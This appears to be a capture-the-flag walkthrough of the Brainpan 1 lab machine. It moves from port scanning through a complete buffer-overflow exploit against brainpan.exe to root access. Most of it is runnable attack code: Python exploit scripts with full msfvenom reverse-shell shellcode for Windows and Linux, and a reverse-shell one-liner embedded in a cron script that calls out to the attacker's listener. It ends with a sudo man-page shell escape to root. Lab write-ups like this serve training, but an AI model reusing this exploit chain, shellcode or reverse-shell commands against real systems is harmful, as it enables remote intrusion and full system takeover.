Brainspan 1

Let’s go, nmap scan on the way.

nmap -sS -sC -A -T 4 -p- -Pn 192.168.1.121 -oN nmap_scan

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)

Alright, two ports, random ports at that. At least one is a http.

Nikto

Let’s see if nikto finds something.

nikto -h 192.168.1.121:10000
 - Nikto v2.1.6
 ---------------------------------------------------------------------------
 + Target IP:          192.168.1.121
 + Target Hostname:    192.168.1.121
 + Target Port:        10000
 + Start Time:         2017-05-24 22:12:28 (GMT-4)
 ---------------------------------------------------------------------------
 + Server: SimpleHTTP/0.6 Python/2.7.3
 + The anti-clickjacking X-Frame-Options header is not present.
 + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
 + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
 + SimpleHTTP/0.6 appears to be outdated (current is at least 1.2)
 + Python/2.7.3 appears to be outdated (current is at least 2.7.5)
 + OSVDB-3092: /bin/: This might be interesting...
 + OSVDB-3092: /bin/: This might be interesting... possibly a system shell found.
 + ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
 + Scan terminated:  20 error(s) and 7 item(s) reported on remote host
 + End Time:           2017-05-24 22:12:35 (GMT-4) (7 seconds)
 ---------------------------------------------------------------------------
 + 1 host(s) tested

Alright we got a folder /bin/. Let’s see… it has a binary. Let’s run it. Well shit, it’s listening to the port 9999. I guess this is a buffer overflow then?

Brainpan.exe

So let’s make it crash.

We’ll create a pattern using the tools in kali

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B

Then we’ll use send it. But before that we need to prepare a windows 32 bit with the executeable. I’ll be using attching immunity debugger to the brainspan.exe

Once that is done, i’ll connect to the service with ncat and send the request.

Python script looks like this

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B"

try:
    print "\nSending stuff"
    s.connect(('192.168.1.146',9999))
    data = s.recv(1024)
    s.send(buffer)
    print  "\nDone!."

except:
    print "Can't connect to port"

We made it crash, let’s right down the EIP and pass it to the pattern offset, it will tell us exactly where is crashes.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
[*] Exact match at offset 524

So far so good. So we got 524 bytes to work with. Let’s look for badcharacters.

Badcharacters

We’ll pass the ascii characters as a buffer and look in the heap if any characters didn’t make it throught.

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

badchars =
("\x01\x01\x01\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B"

try:
    print "\nSending stuff"
    s.connect(('192.168.1.146',9999))
    data = s.recv(1024)
    s.send(buffer)
    print  "\nDone!."

except:
    print "Can't connect to port"

I just added the badchars, i also start my strings with 4 times “\x01” it makes it easier to find when i do a memsearch.

So it seems that there’s only “\x00” as a badcharacter but i’ll add “x0a” because it is a bad character most of the time.

Figure 1. Memory dump of whatever

JMP instruction

Let’s find a jmp instruction that we can set in our EIP. We’ll use the mona script to search for the instruction “jmp esp”.

To find what’s the hex code that we’re looking for can be found using nasm_shell.

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 
nasm > jmp esp
00000000  FFE4              jmp esp
nasm > 

So we know that we’re looking for FFE4 or in hex “\xff\xe4”

!mona find -s "\xff\xe4" -m slmfc.dll

The result only show one pointer that fits our needs. “311712f3”

So we’ll set the address in our python script. Remember little endian in x86.

Python script

Let’s make sure that our offset is good by right “C” in the spot that we thing it’s the right one and double check that the EIP is overwritten with “C” (it’s “\x43”)

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "A" * 524 + "C" * 4 + "D" * 80

try:
    print "\nSending stuff"
    s.connect(('192.168.1.146',9999))
    data = s.recv(1024)
    s.send(buffer)
    print  "\nDone!."

except:
    print "Can't connect to port"

And it looks good.

Let’s create a shellcode using msfvenom.

msfvenom --platform Windows -p  windows/shell_reverse_tcp LHOST=192.168.1.148 LPORT=80 -f c -b "\x00\x0d" > shell_reserve_tcp.c

No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes

We’ll add the content of shell_reverse_tcp.c to our python script


#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

shellcode = ("\xd9\xec\xd9\x74\x24\xf4\xbb\x2b\xec\x7c\xdd\x5a\x31\xc9\xb1"
"\x52\x31\x5a\x17\x83\xc2\x04\x03\x71\xff\x9e\x28\x79\x17\xdc"
"\xd3\x81\xe8\x81\x5a\x64\xd9\x81\x39\xed\x4a\x32\x49\xa3\x66"
"\xb9\x1f\x57\xfc\xcf\xb7\x58\xb5\x7a\xee\x57\x46\xd6\xd2\xf6"
"\xc4\x25\x07\xd8\xf5\xe5\x5a\x19\x31\x1b\x96\x4b\xea\x57\x05"
"\x7b\x9f\x22\x96\xf0\xd3\xa3\x9e\xe5\xa4\xc2\x8f\xb8\xbf\x9c"
"\x0f\x3b\x13\x95\x19\x23\x70\x90\xd0\xd8\x42\x6e\xe3\x08\x9b"
"\x8f\x48\x75\x13\x62\x90\xb2\x94\x9d\xe7\xca\xe6\x20\xf0\x09"
"\x94\xfe\x75\x89\x3e\x74\x2d\x75\xbe\x59\xa8\xfe\xcc\x16\xbe"
"\x58\xd1\xa9\x13\xd3\xed\x22\x92\x33\x64\x70\xb1\x97\x2c\x22"
"\xd8\x8e\x88\x85\xe5\xd0\x72\x79\x40\x9b\x9f\x6e\xf9\xc6\xf7"
"\x43\x30\xf8\x07\xcc\x43\x8b\x35\x53\xf8\x03\x76\x1c\x26\xd4"
"\x79\x37\x9e\x4a\x84\xb8\xdf\x43\x43\xec\x8f\xfb\x62\x8d\x5b"
"\xfb\x8b\x58\xcb\xab\x23\x33\xac\x1b\x84\xe3\x44\x71\x0b\xdb"
"\x75\x7a\xc1\x74\x1f\x81\x82\xba\x48\x88\xc6\x53\x8b\x8a\xe6"
"\xf3\x02\x6c\x8c\xe3\x42\x27\x39\x9d\xce\xb3\xd8\x62\xc5\xbe"
"\xdb\xe9\xea\x3f\x95\x19\x86\x53\x42\xea\xdd\x09\xc5\xf5\xcb"
"\x25\x89\x64\x90\xb5\xc4\x94\x0f\xe2\x81\x6b\x46\x66\x3c\xd5"
"\xf0\x94\xbd\x83\x3b\x1c\x1a\x70\xc5\x9d\xef\xcc\xe1\x8d\x29"
"\xcc\xad\xf9\xe5\x9b\x7b\x57\x40\x72\xca\x01\x1a\x29\x84\xc5"
"\xdb\x01\x17\x93\xe3\x4f\xe1\x7b\x55\x26\xb4\x84\x5a\xae\x30"
"\xfd\x86\x4e\xbe\xd4\x02\x7e\xf5\x74\x22\x17\x50\xed\x76\x7a"
"\x63\xd8\xb5\x83\xe0\xe8\x45\x70\xf8\x99\x40\x3c\xbe\x72\x39"
"\x2d\x2b\x74\xee\x4e\x7e")

buffer = "A" * 524 + "\xf3\x12\x17\x31" + "\x90" * 10 + shellcode

try:
    print "\nSending stuff"
    s.connect(('192.168.1.121',9999))
    data = s.recv(1024)
    s.send(buffer)
    print  "\nDone!."

except:
    print "Can't connect to port"

Once we launch it, it should send us a reverse shell. So now that we have a windows reserve shell, let’s prepare another one for our linux box.

msfvenom --platform linux -p  linux/x86/shell_reverse_tcp  LHOST=192.168.1.148 LPORT=443 -f c -b "\x00\x0a" > linux_tcp_reverse_shell.c

And like the previous step, we’ll add the content of the linux_tcp_reverse_shell.c in our python script as the shellcode that we’re going to send.

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
IP = '192.168.1.118'

shellcode = ( "\xd9\xe8\xd9\x74\x24\xf4\xbe\x34\xd6\xc0\xb2\x5a\x33\xc9\xb1"
"\x12\x31\x72\x17\x83\xea\xfc\x03\x46\xc5\x22\x47\x97\x32\x55"
"\x4b\x84\x87\xc9\xe6\x28\x81\x0f\x46\x4a\x5c\x4f\x34\xcb\xee"
"\x6f\xf6\x6b\x47\xe9\xf1\x03\x98\xa1\x03\x47\x70\xb0\x03\x66"
"\x3a\x3d\xe2\xd8\x5a\x6e\xb4\x4b\x10\x8d\xbf\x8a\x9b\x12\xed"
"\x24\x4a\x3c\x61\xdc\xfa\x6d\xaa\x7e\x92\xf8\x57\x2c\x37\x72"
"\x76\x60\xbc\x49\xf9")

buffer = "A" * 524 + "\xf3\x12\x17\x31" + "\x90" * 10 + shellcode

try:
    print "\nSending stuff"
    s.connect((IP, 9999))
    data = s.recv(1024)
    s.send(buffer)
    print  "\nDone!."

except:
    print "Can't connect to port"
~

Our final code would look like this. This should send us a reverse shell.
Set up a listener on 192.168.1.148 on port 443

ncat -nlv 443

Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 192.168.1.121.
Ncat: Connection from 192.168.1.121:53821.
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)

We’re in.

Enumeration

We’re in the linux system, let’s spawn a tty shell

python -c 'import pty; pty.spawn("/bin/sh")'

So first thing i notice is that checksrv.sh is running as root, we could just modify the script to send us a shell and that would be it.

The application should crash once we stop our reverse tcp connection, the script should then launch i guess. If it does then that should be running as a cronjob. Let’s look at the crontab.

crontab -l

* * * * * /home/puck/checksrv.sh

As i thought.

Content of the checksrv.sh

#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then 
        pid=`ps aux | grep brainpan.exe | grep -v grep`
        if [[ ! -z $pid ]]; then
                kill -9 $pid
                killall wineserver
                killall winedevice.exe
        fi
		python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.148",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
        /usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi 

# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then 
        pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
        if [[ ! -z $pid ]]; then
                kill -9 $pid
        fi
        cd /home/puck/web
        /usr/bin/python -m SimpleHTTPServer 10000
fi 

We’ll just add an instruction before it calls bainpan.exe Well shit, everytime i transfer the file it resets the permissions.

Let’s try something else.

Let’s if the user has any sudo rights

sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util

Alright, we’re running anansi_util as root. That’s cool.

What does it do ?

sudo /home/anansi/bin/anasi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

sudo /home/anansi/bin/anansi_util network

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 08:00:27:2d:ca:f5 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.121/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe2d:caf5/64 scope link 
       valid_lft forever preferred_lft forever
$

So the third command allows us to look at manual of binaries and apparently we can use the command man to spawn a shell using !

sudo /home/anansi/bin/anansi_util manual man
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)
!/bin/bash
root@brainpan:/usr/share/man# id
id
uid=0(root) gid=0(root) groups=0(root)

And yeah, that’s it gg.